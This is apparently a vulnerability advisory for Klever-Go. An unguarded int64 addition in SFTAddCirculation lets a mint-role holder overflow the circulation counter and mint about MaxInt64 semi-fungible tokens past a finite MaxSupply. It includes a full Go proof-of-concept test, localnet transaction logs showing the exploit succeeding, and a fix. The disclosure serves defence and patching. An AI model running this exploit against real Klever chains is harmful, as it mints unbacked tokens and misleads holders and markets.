CVE-2026-55764: Klever-Go: SFT add-quantity `int64` overflow bypasses a finite per-nonce MaxSupply

Summary On the SFT add-quantity path the only supply bound is SFTAddCirculation, which does meta.Circulation += amount with no overflow guard, then checks if meta.Circulation > meta.MaxSupply && meta.MaxSupply != 0. If amount overflows int64 and wraps negative, negative > MaxSupply is false, the cap check passes, the function returns nil, and the balance credit stands. A nonce created with a finite MaxSupply (e.g. 1000) can thus be minted to ~MaxInt64 tokens in one transaction. The fungible mint path is not vulnerable — it has a post-increment MintedValue <= 0 guard that the SFT path lacks.

Affected code - core/kapp/systemAccount/systemAcount.go:132-138 (SFTAddCirculation, the unguarded +=). - Caller: core/kapp/kda/mint.go:247-283 (processSemiFungibleAddQuantity); contrast guard mint.go:289.

Impact A mint-role holder mints ~9.2e18 units of a nonce whose declared MaxSupply is small, with no authorized debit, and corrupts the on-chain Circulation counter to a negative value (misleading any market/indexer that reads it).

Reachability Mint-role holder (asset owner or an address granted the role). The mint Amount is a raw int64 from the contract with no upstream upper bound.

Proof of concept

Unit test TestExploitSFTCirculationOverflowBypassesCap creates a nonce capped at MaxSupply = 1000, seeds Circulation = 5, then calls SFTAddCirculation(MaxInt64). The call returns nil (cap bypassed) and Circulation wraps to -9223372036854775804; a normal over-cap amount (2000) is correctly rejected with ErrMaxSupplyExceeded and does not persist — isolating the unguarded += overflow as the bypass.

<details><summary>Full Go PoC (<code>systemAccount</code> package, passes = bug confirmed)</summary>

go package systemAccount

import ( "math" "testing"

"github.com/klever-io/klever-go/common" commonMock "github.com/klever-io/klever-go/common/mock" "github.com/klever-io/klever-go/data/state" "github.com/klever-io/klever-go/kapps" "github.com/klever-io/klever-go/tools/marshal" "github.com/stretchr/testify/require" )

func newExploitSystemAccountKApp(t testing.T) (systemAccountKApp, map[string][]byte) { t.Helper()

marshalizer := &marshal.ProtoMarshalizer{} store := make(map[string][]byte)

tracker := &commonMock.DataTrieTrackerStub{ RetrieveValueCalled: func(key []byte) ([]byte, error) { return store[string(key)], nil }, SaveKeyValueCalled: func(key []byte, value []byte) error { store[string(key)] = value return nil }, }

kappAccount := &commonMock.KAppAccountHandlerStub{ DataTrieTrackerCalled: func() state.DataTrieTracker { return tracker }, }

s := &systemAccountKApp{marshalizer: marshalizer} require.NoError(t, s.SetAccountsCacher(&commonMock.AccountsCacherStub{ LoadKAppCalled: func(address []byte) (state.KAppAccountHandler, error) { return kappAccount, nil }, }))

return s, store }

func readMeta(t testing.T, s systemAccountKApp, asset, nonce []byte) kapps.MetaV2 { t.Helper() meta, err := s.SFTGetMeta(asset, nonce) require.NoError(t, err) require.NotNil(t, meta) return meta }

// TestExploitSFTCirculationOverflowBypassesCap proves that SFTAddCirculation // (core/kapp/systemAccount/systemAcount.go:132) performs an unguarded // meta.Circulation += amount. With an amount near MaxInt64, Circulation // overflows int64 and wraps negative, so the signed cap check // meta.Circulation > meta.MaxSupply reads false and the function returns nil: // the finite per-nonce MaxSupply (1000) is bypassed and supply is minted far // past the declared cap. func TestExploitSFTCirculationOverflowBypassesCap(t testing.T) { asset := []byte("SFTASSET") nonce := []byte{0x01}

const maxSupply = int64(1000) const startCirculation = int64(5) // amount is a raw int64 from the contract with no upstream upper bound; the // largest value it can carry is MaxInt64. With Circulation already at 5, // 5 + MaxInt64 overflows int64 and wraps negative. const overflowAmount = int64(math.MaxInt64) // 9223372036854775807

// --- setup: a nonce with a small FINITE MaxSupply and small Circulation --- s, := newExploitSystemAccountKApp(t)

require.NoError(t, s.SFTCreateMeta(asset, nonce, maxSupply, []byte("hash"))) // seed an initial circulation of 5 (well within the cap) require.NoError(t, s.SFTAddCirculation(asset, nonce, startCirculation))

before := readMeta(t, s, asset, nonce) require.Equal(t, maxSupply, before.MaxSupply) require.Equal(t, startCirculation, before.Circulation) t.Logf("BEFORE exploit: MaxSupply=%d Circulation=%d", before.MaxSupply, before.Circulation)

// --- contrast: a normal over-cap amount IS correctly rejected --- // 5 + 2000 = 2005 > 1000, no overflow -> ErrMaxSupplyExceeded. contrastErr := s.SFTAddCirculation(asset, nonce, 2000) require.ErrorIs(t, contrastErr, common.ErrMaxSupplyExceeded, "a non-overflowing over-cap mint must be rejected") // the rejected call must NOT have persisted (Circulation unchanged at 5) afterContrast := readMeta(t, s, asset, nonce) require.Equal(t, startCirculation, afterContrast.Circulation, "rejected over-cap mint must not persist new circulation") t.Logf("CONTRAST mint amount=2000 (5+2000=2005 > cap 1000) -> err=%v, Circulation stays %d", contrastErr, afterContrast.Circulation)

// --- the exploit: amount near MaxInt64 overflows Circulation negative --- exploitErr := s.SFTAddCirculation(asset, nonce, overflowAmount)

after := readMeta(t, s, asset, nonce) t.Logf("EXPLOIT mint amount=%d (~MaxInt64), MaxSupply=%d", overflowAmount, after.MaxSupply) t.Logf("AFTER exploit: Circulation=%d err=%v", after.Circulation, exploitErr)

// (1) the cap was BYPASSED: SFTAddCirculation returned nil, no ErrMaxSupplyExceeded require.NoError(t, exploitErr, "BUG: overflowing mint should have been capped but returned nil (cap bypassed)")

// (2) Circulation wrapped NEGATIVE: minted far past the declared cap of 1000 require.Negative(t, after.Circulation, "BUG: Circulation must have overflowed to a negative value")

// sanity: the wrap is exactly the int64 two's-complement of 5 + overflowAmount. // Computed via non-constant vars so the deliberate overflow happens at runtime // (a constant expression would be rejected by the compiler). circ := startCirculation amt := overflowAmount expectedWrap := circ + amt // intentional int64 overflow at runtime require.Equal(t, expectedWrap, after.Circulation)

t.Logf("CONFIRMED: nonce capped at %d now reports Circulation=%d (negative); "+ "a real mint would have credited ~%d tokens with no matching debit.", maxSupply, after.Circulation, overflowAmount) } </details>

On-chain reproduction (live single-node localnet) SFT F05-2SDF was created with nonce 1 capped at MaxSupply = 1000 (the setup mint of amount = 1 succeeds normally). An AssetTrigger Mint of amount = 9223372036854775807 (MaxInt64) for F05-2SDF/1, sent to a fresh receiver, returned resultCode Ok with a Transfer receipt minting MaxInt64 from the protocol mint address — no MaxSupplyExceeded, despite the declared cap of 1000. (Sending the same amount to an account that already held nonce-1 units instead trips the balance overflow guard with RC 37, confirming the unguarded counter is specifically SFTAddCirculation, reached only when the receiver's balance add does not itself overflow.)

<details><summary>Setup mint — nonce 1 minted normally with <code>amount=1</code> (hash <code>21e8059e…b55aad1a</code>)</summary>

json { "hash": "21e8059e50ffb5534a02f0f78e12db4632740d8d82da144d1f3732b4b55aad1a", "blockNum": 463, "status": "success", "resultCode": "Ok", "chainID": "420420", "receipts": [ { "assetId": "F05-2SDF/1", "assetType": "SemiFungible", "from": "klv1qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqpgm89z", "to": "klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq", "type": 0, "typeString": "Transfer", "value": 1 } ], "contract": [ { "type": 11, "typeString": "AssetTriggerContractType", "parameter": { "triggerType": "Mint", "assetId": "F05-2SDF", "toAddress": "klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq", "amount": 1 } } ] } </details>

<details><summary>Exploit — <code>MaxInt64</code> add-quantity to a fresh receiver, result <code>Ok</code>, cap 1000 bypassed (hash <code>8aff40fa…2e1c981e</code>)</summary>

json { "hash": "8aff40fa270905516cad82083e7eae6264e63a6874f8c13d8348c3632e1c981e", "blockNum": 484, "status": "success", "resultCode": "Ok", "chainID": "420420", "receipts": [ { "assetId": "F05-2SDF/1", "assetType": "SemiFungible", "from": "klv1qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqpgm89z", "to": "klv1qeh4py4p5zzy94l2hnygpfklug82gpzw08u680ycwp00njxyhgdqcv2xjm", "type": 0, "typeString": "Transfer", "value": 9223372036854775807 } ], "contract": [ { "type": 11, "typeString": "AssetTriggerContractType", "parameter": { "triggerType": "Mint", "assetId": "F05-2SDF/1", "toAddress": "klv1qeh4py4p5zzy94l2hnygpfklug82gpzw08u680ycwp00njxyhgdqcv2xjm", "amount": 9223372036854775807 } } ] } </details>

Remediation 1. In SFTAddCirculation, add a post-increment overflow guard before the cap check (e.g. if meta.Circulation < 0 { return ErrSupplyNotValid }, matching the fungible MintedValue <= 0 pattern), or check amount against MaxSupply - Circulation with overflow-safe arithmetic. 2. Consensus-affecting → gate behind the next activation flag.